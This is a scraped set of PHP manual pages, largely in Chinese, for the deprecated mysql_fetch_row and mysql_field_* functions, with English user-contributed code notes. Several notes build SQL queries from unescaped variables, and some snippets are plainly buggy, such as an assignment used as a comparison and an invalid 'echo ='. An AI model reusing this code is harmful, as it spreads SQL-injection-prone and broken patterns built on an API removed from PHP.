If you have a class that represents itself in a database you can use this function to get the properties.

class MyClass {

  public $name;
  public $language;

  function load($id) {

    $query = mysql_query("SELECT name, language FROM myTable WHERE id = $id");
    $result = mysql_fetch_object($query, get_class($this));

    foreach(get_object_vars($result) as $var => $value) $this->$var = $value;
  }

}

$a = new MyClass();
$a->load(1);
Chris at r3i dot it 18-Aug-2007 10:03
In reply to rodolphe dot bodeau at free dot fr :

The function mysql_fetch_object has other two parameters that you can use.
As the manual say:
mysql_fetch_object( $resource, $class_name, $params ) )

$class_name and $params are optional.

So if you want to fetch a row in a class you can:

1) Define your class Test with method and other stuff.
2) Execute Query
3) call:
$Object = mysql_fetch_object( $Resource, "Test" );

so you can use $Object with the methods

Be aware how you write code in your methods: in this case, classes are used for centralize the code and they are not
really safe because you can have an additional Information
( with a Join Query for example ) without methods to access to them.
So classes need get and set method generalized.
( for extra see PHP 5 Manual O'Rielly on the use of generalized methods get and set )
rodolphe dot bodeau at free dot fr 13-May-2007 05:00
This little function stores the content of a mysql_fetch_object result into an object by using MySQL request field names as object parameters :

<?php
function FetchRequestInObject(&$obj, $req)
{
    $ReqVars = get_object_vars($req);
    foreach ($ReqVars as $ReqName => $ReqValue)
    {
        if (property_exists($obj, $ReqName))
        {
            $obj->$ReqName = $ReqValue;
        }
    }
}
?>

Remember that mysql_fetch_object is case sensitive, so beware of your object properties. Use keyword "AS" in your SQL request to change field name if necessary.
info [at] woeiweb [dot] nl 02-May-2007 12:17
Since PHP 5.2.1 it seems like this function doesn't like queries that return columns with empty names, like:
select '' from `table`

PHP exits and mysql_error() does not return an error.
syntax 21-Oct-2006 06:00
@Simon Paridon and others concerning SQL to php getting results via mysql_fetch_object:

Every query that would fail in a database frontend, such as MySQLs "Query Browser" and only will work by using the `-marks will probably give results hardly accessible in PHP especially if you have column names with "-" or " " in it.

Using the example of Simon Paridon: it is not possible to execute a query like:

SELECT id, user-id FROM unlucky_naming

only

SELECT id, `user-id` FROM unlucky_naming

will work...

so either be a bit wiser when naming the colums (e.g. user_id)

or try it with

SELECT id, `user-id` AS user_id FROM unlucky_naming

(i have not tested it in PHP yet, but i guess this will fail as well, if you have a query like "SELECT `foo name` FROM `unlucky naming 2`")

Somewhat down "amackenz at cs dot uml dot edu" mentioned to name sum, count etc. this may be a good hint for newbies: increase the speed of your php applications by using (my)sql native functions and save data transfer as well as processing time
Simon Paridon 24-Sep-2006 05:53
The behavior of this function is slightly questionable.

If you have a col in you table containing non-variable-name characters like "-", mysql_fetch_object will add "impossible variable names" to your object, e.g.

object (
  [user-id] => 7
)

You can not access this variable normally with $obj->user-id, because the variable name is invalid. But you can however access it like this:

$foo = 'user-id';
echo $obj->$foo;

It will correctly output 7, whereas var_dump($obj->user-id) would output int(0) for some reason.

I got this behaviour with PHP 4.4.2.
Kaminari (telecotxesco at hotmail) 23-Jul-2006 04:55
This is a very very elegant (and costless) way to fetch an enterie query to every single field name from a "wide" table:

The tedious way fetching:
<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    while($row=mysql_fetch_object($consult)){
        $IdLomo=$row->IdLomo;
        $Serie=$row->Serie;
        $Model=$row->Model;
        $Type=$row->Type;
        $Year=$row->Year;
        $Speed=$row->Speed;
        $Power=$row->Power;
        $Price=$row->Price;
        $Load1=$row->Load1;
        $Load2=$row->Load2;
        $Load3=$row->Load3;
        $Load4=$row->Load4;
        $Server=$row->Servier;
        $Real=$row->Real;
        $Lomo=$row->Lomo;
    }
?>

Resulting on 15 new variables called like their name on table wich we introduced manualy for 5 minutes. But imagine each row has 100 fields!

A way saving time with the same result:

<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    // We find the fields number
    $numfields=mysql_num_fields($consult);

    // Now we put the names of fields in a Array
    for($i=0;$i<$numfields;$i++){
        $fieldname[$i]=mysql_field_name($consult, $i);
    }

    while($row=mysql_fetch_object($consult)){
        //Finally we assign the new variables
        for($i=0;$i<$numfields;$i++){
            $$fieldname[$i]=$row->$fieldname[$i];
        }
    }
?>
trithaithus at tibiahumor dot net 21-Aug-2005 01:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^\"]+\\":/i",
         "O:".strlen($class_type).":\\"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
    var $foo;
    var $bar;
    function get_from_db()
    {
        mysql_connect();
        mysql_select_db();
        $res = mysql_query("SELECT foo,bar from my_table");

        $fetched_object = mysql_fetch_object($res);
        ClassTypeCast($fetched_object,"Foo");
        $this = $fetched_object;
    }
}
?>
backglancer at hotmail 07-Aug-2005 03:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q 09-Jul-2004 07:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com 16-Oct-2003 02:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net 15-May-2003 06:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
    $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
    return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes 03-Mar-2003 10:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka 30-Jan-2003 03:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
    $query = "SELECT * FROM people ORDER BY lname";
    $result = mysql_query($query);

    while($member = mysql_fetch_object($result)){
        $members[] = $member;
    }

    return $members;
}
<br><br>
    DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com 16-Jan-2003 12:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net 19-Nov-2002 04:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
    $clickthru[$i] = array();
    $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net 15-Sep-2002 07:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.


从结果集中取得一行作为枚举数组

  • ? mysql_fetch_object
  • mysql_field_flags ?
  • PHP Manual
  • MySQL 函数
  • 从结果集中取得一行作为枚举数组

mysql_fetch_row

(PHP 4, PHP 5)

mysql_fetch_row — 从结果集中取得一行作为枚举数组

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_row()
  • PDOStatement::fetch() with mode as PDO::FETCH_NUM

说明

mysql_fetch_row(resource $result): array

返回根据所取得的行生成的数组，如果没有更多行则返回 false。

mysql_fetch_row() 从和指定的结果标识关联的结果集中取得一行数据并作为数组返回。每个结果的列储存在一个数组的单元中，偏移量从 0 开始。

依次调用 mysql_fetch_row() 将返回结果集中的下一行，如果没有更多行则返回 false。

参见 mysql_fetch_array()，mysql_fetch_assoc()，mysql_fetch_object()，mysql_data_seek()，mysql_fetch_lengths() 和 mysql_result()。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

Returns an numerical array of strings that corresponds to the fetched row, or false if there are no more rows.

mysql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

示例

Example #1 Fetching one row with mysql_fetch_row()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}
$row = mysql_fetch_row($result);

echo $row[0]; // 42
echo $row[1]; // the email value
?>

注释

Note: 此函数将 NULL 字段设置为 PHP null 值。

参见

  • mysql_fetch_array() - 从结果集中取得一行作为关联数组
  • mysql_fetch_assoc() - 从结果集中取得一行作为关联数组
  • mysql_fetch_object() - 从结果集中取得一行作为对象返回
  • mysql_data_seek() - 移动内部结果的指针
  • mysql_fetch_lengths() - 取得结果集中每个输出的长度
  • mysql_result() - 取得结果数据

User Contributed Notes

pepik at gmail dot cz 19-Jun-2013 11:46
<?php
  require 'prhlavicka.php';
  pis_hlavicku('Vypis ?lánk?');

   require_once 'db.php';
    $kom = new server();
    $sql=$kom->query("SELECT autor,nazev,obsah FROM `Clanky_Sadek`");
               while ($data = mysql_fetch_row($sql)){
                 ECHO '<br />--AUTOR--<br />'.$data[0].'<br />__NáZEV ?LáNKU__<br />'.$data[1].'<br />..OBSAH ?LáNKU..<br />'.$data[2];     }

  include 'Paticka.html'; ?>
larkitetto at gmail dot com 21-Feb-2008 03:29
sry :) note now fixed:

<?php
$esi=mysql_list_tables($db);$ris=mysql_fetch_row($esi);
//example: $db has >= 1 tabs
echo var_dump($ris);
//echoes only array(1). solution:
while($ris=mysql_fetch_row($esi)) echo $ris[0];
/*debug:
$ris=array("1st_tab"); ... $ris=array("n_tab");$ris=false;*/
while ($ris[]=mysql_fetch_row($esi));
//debug:$ris=array(array("1st_tab"), ... array("n_tab"));
echo $ris[n][0];//echo:"n_tab"
echo $ris[0][n];//echo:array | null
?>

hope it helps
michael and then an at sign wassupy.com 08-Apr-2003 12:09
to print an array, simply use print_r(array name)

like this:
    $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
a at simongrant dot org 06-Feb-2002 05:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.


从结果中取得和指定字段关联的 flags

  • ? mysql_fetch_row
  • mysql_field_len ?
  • PHP Manual
  • MySQL 函数
  • 从结果中取得和指定字段关联的 flags

mysql_field_flags

(PHP 4, PHP 5)

mysql_field_flags — 从结果中取得和指定字段关联的 flags

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field_direct() [flags]
  • PDOStatement::getColumnMeta() [flags]

说明

mysql_field_flags(resource $result, int $field_offset): string|false

mysql_field_flags() 返回指定字段的字段 flags。每个 flag 都用一个单词表示，之间用一个空格分开，因此可以用 explode() 将返回值分开。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

Returns a string of flags associated with the result 或者在失败时返回 false.

如果 MySQL 版本足够新，以便支持这些 flag，则会报告以下 flag："not_null"、"primary_key"、"unique_key"、"multiple_key"、"blob"、"unsigned"、"zerofill","binary"、"enum"、"auto_increment" 和 "timestamp"。

示例

Example #1 mysql_field_flags() 示例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}
$flags = mysql_field_flags($result, 0);

echo $flags;
print_r(explode(' ', $flags));
?>

以上示例的输出类似于：

not_null primary_key auto_increment
Array
(
    [0] => not_null
    [1] => primary_key
    [2] => auto_increment
)

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_fieldflags()

参见

  • mysql_field_type() - 取得结果集中指定字段的类型
  • mysql_field_len() - 返回指定字段的长度

User Contributed Notes

play at arcadevillage dot com 03-Aug-2009 07:07
To really backup the database values, I made a little changement :

My code really looks like bomas 's code, but there is an important diffence :

<?php
$nbc = mysql_num_fields($req_table);
while ($ligne = mysql_fetch_array($req_table))
  {
    $insertions = "INSERT INTO $table VALUES(";
     for ($i=0; $i<$nbc; $i++)
        {
          if ( $i > 0 ) $insertions .= ", ";
          if ( !isset($ligne[$i]))
            $insertions .= "NULL";
          else
            $insertions .= "'" . mysql_real_escape_string($ligne[$i]). "'";
        }
     $insertions .= ");";
     $dumpsql[] = $insertions;
   }
?>

$dumpslq is the variable where I put the insertion orders before writting them in a text file.

Before, I test that the values if not NULL into the field because it is the only way to make the difference, for example for string text fields, between NULL values and empty strings.

If you don't make this test, you should find empty string instead of NULL values when you do the backup.
bomas at cities-of-faith dot com 08-Sep-2005 01:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
    $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
    $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
    $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
    while($all = mysql_fetch_assoc($res)):
        $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
        $str = str_replace(",", ",&nbsp;", $str);
        $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
        $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
    endwhile;
    $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
    $data = mysql_query("SELECT * FROM $tabs[0]");
    while($dt = mysql_fetch_row($data)):
        $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
        for($i=1; $i<sizeof($dt); $i++):
            $backup .= ", '$dt[$i]'";
        endfor;
        $backup .= ");\n";
    endwhile;
    $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
pike-php at kw dot nl 14-Jul-2005 04:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

        $fields = array();
        $fullmatch         = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
        $charlistmatch     = "/,?'([^']*)'/";
        $numlistmatch     = "/,?(\d+)/";

        $fieldsquery .= "DESCRIBE $tablename";
        $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
        while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

            $name     = $row_fieldsquery['Field'];
            $fields[$name] = array();
            $fields[$name]["type"]         = "";
            $fields[$name]["args"]         = array();
            $fields[$name]["add"]          = "";
            $fields[$name]["null"]        = $row_fieldsquery['Null'];
            $fields[$name]["key"]        = $row_fieldsquery['Key'];
            $fields[$name]["default"]    = $row_fieldsquery['Default'];
            $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

            $fulltype     = $row_fieldsquery['Type'];
            $typeregs = array();

            if (preg_match($fullmatch, $fulltype, $typeregs)) {
                $fields[$name]["type"] = $typeregs[1];
                if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
                $fullargs = $typeregs[2];
                $argsreg = array();
                if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                    $fields[$name]["args"] = $argsreg[1];
                } else {
                    $argsreg = array();
                    if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                        $fields[$name]["args"] = $argsreg[1];
                    } else die("cant parse type args: $fullargs");
                }
            } else die("cant parse type: $fulltype");

        }
        return $fields;

    }

?>
buttrose at unimelb dot edu dot au 20-Oct-2004 07:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com 17-Aug-2003 10:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
    if ($row['Key_name']=='PRIMARY')
      array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com 10-Apr-2003 04:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
            $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
    print "<br>";
    print $array_tmp;
    print "<br>";
}
justin DOT flavin AT ntlworld DOT com 06-Dec-2002 10:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
    {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
    }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com 31-Oct-2002 12:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
    $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
    $sql_res = mysql_query($sql)
        or die("Could not query:\n$sql");
    $row = mysql_fetch_assoc($sql_res);
    mysql_free_result($sql_res);
    return(explode("','",
        preg_replace("/.*\('(.*)'\)/", "\\1",
            $row["Type"])));
}
cufarley at nirvanet dot net 11-Jul-2001 05:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com 10-Jun-2001 04:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)


返回指定字段的长度

  • ? mysql_field_flags
  • mysql_field_name ?
  • PHP Manual
  • MySQL 函数
  • 返回指定字段的长度

mysql_field_len

(PHP 4, PHP 5)

mysql_field_len — 返回指定字段的长度

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field_direct() [length]
  • PDOStatement::getColumnMeta() [len]

说明

mysql_field_len(resource $result, int $field_offset): int|false

mysql_field_len() 返回指定字段的长度。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

The length of the specified field index on success 或者在失败时返回 false.

示例

Example #1 mysql_field_len() 示例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}

// Will get the length of the id field as specified in the database
// schema.
$length = mysql_field_len($result, 0);
echo $length;
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_fieldlen()

参见

  • mysql_fetch_lengths() - 取得结果集中每个输出的长度
  • strlen() - 获取字符串长度

User Contributed Notes

rvwoens at gmail dot com 04-Feb-2012 05:38
Note that for some reason the length of fields is 3 times the actual value if you are using UTF8 encoding.. So a varchar(10) field returns 30 here. This renders this function almost useless.
adam_nospam_hunger at yahoo dot com 30-Oct-2003 05:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).


取得结果中指定字段的字段名

  • ? mysql_field_len
  • mysql_field_seek ?
  • PHP Manual
  • MySQL 函数
  • 取得结果中指定字段的字段名

mysql_field_name

(PHP 4, PHP 5)

mysql_field_name — 取得结果中指定字段的字段名

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field_direct() [name] or [orgname]
  • PDOStatement::getColumnMeta() [name]

说明

mysql_field_name(resource $result, int $field_offset): string|false

mysql_field_name() 返回指定字段索引的字段名。result 必须是一个合法的结果标识符，field_index 是该字段的数字偏移量。

Note:

field_index 从 0 开始。

例如，第三个字段的索引值其实是 2，第四个字段的索引值是 3，以此类推。

Note: 此函数返回的字段名大小写敏感。

Example #1 mysql_field_name() 例子

<?php
/* The users table consists of three fields:
* user_id
* username
* password.
*/
$link = mysql_connect('localhost', "mysql_user", "mysql_password");
$dbname = "mydb";
mysql_select_db($dbname, $link)
or die("Could not set $dbname: " . mysql_error());
$res = mysql_query("select * from users", $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

以上例子将产生如下输出：

user_id
password

为向下兼容仍然可以使用 mysql_fieldname()，但反对这样做。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

The name of the specified field index on success 或者在失败时返回 false.

示例

Example #2 mysql_field_name() example

<?php
/* The users table consists of three fields:
* user_id
* username
* password.
*/
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect to MySQL server: ' . mysql_error());
}
$dbname = 'mydb';
$db_selected = mysql_select_db($dbname, $link);
if (!$db_selected) {
die("Could not set $dbname: " . mysql_error());
}
$res = mysql_query('select * from users', $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

以上示例会输出：

user_id
password

注释

Note: 此函数返回的字段名大小写敏感。

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_fieldname()

参见

  • mysql_field_type() - 取得结果集中指定字段的类型
  • mysql_field_len() - 返回指定字段的长度

User Contributed Notes

tiptonentserv at gmail dot com 13-Aug-2011 05:56
simple sql to xml converter works with any sql query and returns the name of the table as the root element "row" as each row element and the names of the columns are your children of row. fully tested.

<?php
function sqlToXml($host,$user,$pass,$database,$tablename,$query){

    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());

    $result = mysql_query($query);
    if(!$result){ die('Invalid query: '.mysql_error()); }

    $numOfCols = mysql_num_fields($result);
    $numOfRows = mysql_num_rows($result);

    $info = mysql_fetch_assoc($result);

    //send headers
    header('Content-type: text/xml');
    header('Pragma: public');
    header('Cache-control: private');
    header('Expires: -1');
    $xml = '<?xml version="1.0" encoding="utf-8"?>';
    $xml.= "<{$tablename}>";

    if($numOfRows > 0){
        do {
            $xml.= "<row>";
            foreach($info as $column => $value) {
                $xml.= "<{$column}>{$value}</{$column}>";
            }
            $xml.= "</row>";
        }
        while ($info = mysql_fetch_array($result));
    }
    $xml.= "</{$tablename}>";

    mysql_free_result($result);
    return $xml;

}
?>
bags 24-Jul-2010 03:02
When using aliases, it appears impossible to discover the name of the underlying column.
select `ID` as `anAlias` from `aTable` returns 'anAlias' as the mysql_field_name(). I have tried all the mysql_field_xxx() functions and none return the real column name.
anonymous at site dot com 09-Mar-2008 06:13
This function is slightly stupid to be honest, why not just make an array of field names... You could consolidate the two of these functions that way and it makes it a lot easier to list them when your script is dynamic.

<?php

    function mysql_field_array( $query ) {

        $field = mysql_num_fields( $query );

        for ( $i = 0; $i < $field; $i++ ) {

            $names[] = mysql_field_name( $query, $i );

        }

        return $names;

    }

    // Examples of use

    $fields = mysql_field_array( $query );

    // Show name of column 3

    echo $fields[3];

    // Show them all

    echo implode( ', ', $fields[3] );

     // Count them - easy equivelant to 'mysql_num_fields'

    echo count( $fields );

?>
blackjackdevel at gmail dot com 13-Nov-2007 04:13
Strangely using an aproach like this:
$res=mysql_query("SELECT * FROM `orders`",$conec) or die (mysql_error());

$fields = mysql_num_fields($res);
$out="";
for ($i = 0; $i < $fields; $i++) {
    $fname=mysql_field_name($res, $i);

}

 Outputted the E_Warning:
Warning: mysql_field_name() [function.mysql-field-name]: Field N is invalid for MySQL result index

 With a lot of different number at N. But expliciting all fields instead of *. Didn't outputted the error.

 It maybe a caracteristic of this mysql database(it is from a open source application) because i never saw this in my own databases. Anyway hope this help if someone face the same strange situation
matteo.cisilino[no_more]cisilino[spm]com 09-Jan-2007 08:54
james, why make so difficult when it's very simple :\

$numberfields = mysql_num_fields($res_gb);

   for ($i=0; $i<$numberfields ; $i++ ) {
       $var = mysql_field_name($res_gb, $i);
       $row_title .= $var;
   }

echo $row_title;
janezr at jcn dot si 19-Oct-2005 07:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com 05-Aug-2005 08:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    $i=0;
    foreach ($line as $col_value) {
        $field=mysql_field_name($result,$i);
        $array[$field] = $col_value;
        $i++;
    }
}
jimharris at blueyonder dot co dot uk 20-Dec-2004 06:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com 17-Dec-2004 04:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
    echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

